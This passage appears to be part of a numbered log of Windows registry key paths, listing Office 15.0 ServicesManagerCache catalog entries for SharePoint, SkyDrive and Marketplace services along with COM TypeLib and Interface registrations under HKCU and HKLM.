  1495. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\SupportsMultiple",
  1496. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\CapabilitiesMetadata",
  1497. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Description",
  1498. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Name",
  1499. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\ServiceId",
  1500. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\ServiceUrl",
  1501. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Metadata",
  1502. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Metadata\\DefaultFolderRelativePath",
  1503. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Metadata\\KeyTip",
  1504. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Metadata\\Type",
  1505. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Thumbnails",
  1506. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Thumbnails\\Url16x16",
  1507. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Thumbnails\\Url32x32",
  1508. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Thumbnails\\Url48x48",
  1509. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP",
  1510. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Capabilities",
  1511. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\ConnectMechanism",
  1512. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\IsManaged",
  1513. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\IsRemovable",
  1514. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\ServiceOwner",
  1515. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\SortOrder",
  1516. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\SupportsMultiple",
  1517. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\CapabilitiesMetadata",
  1518. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Description",
  1519. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Name",
  1520. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\ServiceId",
  1521. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\ServiceUrl",
  1522. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Metadata",
  1523. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Metadata\\KeyTip",
  1524. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Metadata\\Type",
  1525. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Thumbnails",
  1526. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Thumbnails\\Url16x16",
  1527. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Thumbnails\\Url32x32",
  1528. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Thumbnails\\Url48x48",
  1529. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER",
  1530. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Capabilities",
  1531. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\ConnectMechanism",
  1532. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\IsManaged",
  1533. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\IsRemovable",
  1534. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\ServiceOwner",
  1535. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\SortOrder",
  1536. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\SupportsMultiple",
  1537. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\CapabilitiesMetadata",
  1538. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Description",
  1539. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Name",
  1540. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\ServiceId",
  1541. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\ServiceUrl",
  1542. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Metadata",
  1543. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Metadata\\HideIfEmpty",
  1544. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Metadata\\KeyTip",
  1545. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Metadata\\Type",
  1546. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Thumbnails",
  1547. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Thumbnails\\Url16x16",
  1548. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Thumbnails\\Url32x32",
  1549. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Thumbnails\\Url48x48",
  1550. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE",
  1551. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Capabilities",
  1552. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\ConnectMechanism",
  1553. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\IsManaged",
  1554. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\IsRemovable",
  1555. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\ServiceOwner",
  1556. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\SortOrder",
  1557. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\SupportsMultiple",
  1558. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\CapabilitiesMetadata",
  1559. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Description",
  1560. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Name",
  1561. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\ServiceId",
  1562. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\ServiceUrl",
  1563. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata",
  1564. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\DefaultCreateRelativePath",
  1565. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\DefaultFolderRelativePath",
  1566. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\KeyTip",
  1567. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\RegularExpression",
  1568. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\Type",
  1569. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Thumbnails",
  1570. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Thumbnails\\Url16x16",
  1571. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Thumbnails\\Url32x32",
  1572. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Thumbnails\\Url48x48",
  1573. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT",
  1574. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Capabilities",
  1575. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\ConnectMechanism",
  1576. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\IsManaged",
  1577. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\IsRemovable",
  1578. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\ServiceOwner",
  1579. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\SortOrder",
  1580. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\SupportsMultiple",
  1581. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Description",
  1582. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Name",
  1583. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\ServiceId",
  1584. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\ServiceUrl",
  1585. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Thumbnails",
  1586. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Thumbnails\\Url16x16",
  1587. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Thumbnails\\Url32x32",
  1588. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Thumbnails\\Url48x48",
  1589. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE",
  1590. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Capabilities",
  1591. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\ConnectMechanism",
  1592. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\IsManaged",
  1593. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\IsRemovable",
  1594. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\ServiceOwner",
  1595. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\SortOrder",
  1596. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\SupportsMultiple",
  1597. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Description",
  1598. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Name",
  1599. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\ServiceId",
  1600. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\ServiceUrl",
  1601. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Thumbnails",
  1602. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Thumbnails\\Url16x16",
  1603. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Thumbnails\\Url32x32",
  1604. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Thumbnails\\Url48x48",
  1605. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE",
  1606. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Capabilities",
  1607. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\ConnectMechanism",
  1608. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\IsManaged",
  1609. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\IsRemovable",
  1610. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\ServiceOwner",
  1611. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\SortOrder",
  1612. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\SupportsMultiple",
  1613. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\CapabilitiesMetadata",
  1614. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Description",
  1615. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Name",
  1616. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\ServiceId",
  1617. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\ServiceUrl",
  1618. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata",
  1619. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\DefaultCreateRelativePath",
  1620. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\DefaultFolderRelativePath",
  1621. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\KeyTip",
  1622. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\RegularExpression",
  1623. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\Type",
  1624. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Thumbnails",
  1625. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Thumbnails\\Url16x16",
  1626. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Thumbnails\\Url32x32",
  1627. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Thumbnails\\Url48x48",
  1628. "HKEY_CURRENT_USER\\Software\\Classes\\TypeLib\\{85FC7FC6-D414-4C8B-9B30-5C14AEDCBF86}",
  1629. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\TypeLib\\{85FC7FC6-D414-4C8B-9B30-5C14AEDCBF86}\\2.0",
  1630. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\TypeLib\\{85FC7FC6-D414-4C8B-9B30-5C14AEDCBF86}\\2.0\\(Default)",
  1631. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\TypeLib\\{85FC7FC6-D414-4C8B-9B30-5C14AEDCBF86}\\2.0\\FLAGS",
  1632. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\TypeLib\\{85FC7FC6-D414-4C8B-9B30-5C14AEDCBF86}\\2.0\\FLAGS\\(Default)",
  1633. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\TypeLib\\{85FC7FC6-D414-4C8B-9B30-5C14AEDCBF86}\\2.0\\0",
  1634. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\TypeLib\\{85FC7FC6-D414-4C8B-9B30-5C14AEDCBF86}\\2.0\\0\\win32",
  1635. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\TypeLib\\{85FC7FC6-D414-4C8B-9B30-5C14AEDCBF86}\\2.0\\0\\win32\\(Default)",
  1636. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\TypeLib\\{85FC7FC6-D414-4C8B-9B30-5C14AEDCBF86}\\2.0\\HELPDIR",
  1637. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\TypeLib\\{85FC7FC6-D414-4C8B-9B30-5C14AEDCBF86}\\2.0\\HELPDIR\\(Default)",
  1638. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\Wow6432Node\\Interface\\{BEF6E003-A874-101A-8BBA-00AA00300CAB}\\(Default)",
  1639. "HKEY_CURRENT_USER\\Software\\Classes\\TypeLib\\{85FC7FC6-D414-4C8B-9B30-5C14AEDCBF86}\\2.0",
  1640. "HKEY_CURRENT_USER\\Software\\Classes\\TypeLib\\{85FC7FC6-D414-4C8B-9B30-5C14AEDCBF86}\\2.0\\(Default)",
  1641. "HKEY_CURRENT_USER\\Software\\Classes\\TypeLib\\{85FC7FC6-D414-4C8B-9B30-5C14AEDCBF86}\\2.0\\FLAGS",
  1642. "HKEY_CURRENT_USER\\Software\\Classes\\TypeLib\\{85FC7FC6-D414-4C8B-9B30-5C14AEDCBF86}\\2.0\\FLAGS\\(Default)",
  1643. "HKEY_CURRENT_USER\\Software\\Classes\\TypeLib\\{85FC7FC6-D414-4C8B-9B30-5C14AEDCBF86}\\2.0\\0",
  1644. "HKEY_CURRENT_USER\\Software\\Classes\\TypeLib\\{85FC7FC6-D414-4C8B-9B30-5C14AEDCBF86}\\2.0\\0\\win32",
  1645. "HKEY_CURRENT_USER\\Software\\Classes\\TypeLib\\{85FC7FC6-D414-4C8B-9B30-5C14AEDCBF86}\\2.0\\0\\win32\\(Default)",
  1646. "HKEY_CURRENT_USER\\Software\\Classes\\TypeLib\\{85FC7FC6-D414-4C8B-9B30-5C14AEDCBF86}\\2.0\\HELPDIR",
  1647. "HKEY_CURRENT_USER\\Software\\Classes\\TypeLib\\{85FC7FC6-D414-4C8B-9B30-5C14AEDCBF86}\\2.0\\HELPDIR\\(Default)",
  1648. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{BEF6E003-A874-101A-8BBA-00AA00300CAB}",
  1649. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{BEF6E003-A874-101A-8BBA-00AA00300CAB}\\(Default)",
  1650. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{BEF6E003-A874-101A-8BBA-00AA00300CAB}",
  1651. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{BEF6E003-A874-101A-8BBA-00AA00300CAB}\\(Default)",
  1652. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{EC72F590-F375-11CE-B9E8-00AA006B1A69}",
  1653. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{EC72F590-F375-11CE-B9E8-00AA006B1A69}\\(Default)",
  1654. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{EC72F590-F375-11CE-B9E8-00AA006B1A69}",
  1655. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{EC72F590-F375-11CE-B9E8-00AA006B1A69}\\(Default)",
  1656. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{82B02370-B5BC-11CF-810F-00A0C9030074}",
  1657. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{82B02370-B5BC-11CF-810F-00A0C9030074}\\(Default)",
  1658. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{82B02370-B5BC-11CF-810F-00A0C9030074}",
  1659. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{82B02370-B5BC-11CF-810F-00A0C9030074}\\(Default)",
  1660. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{82B02371-B5BC-11CF-810F-00A0C9030074}",
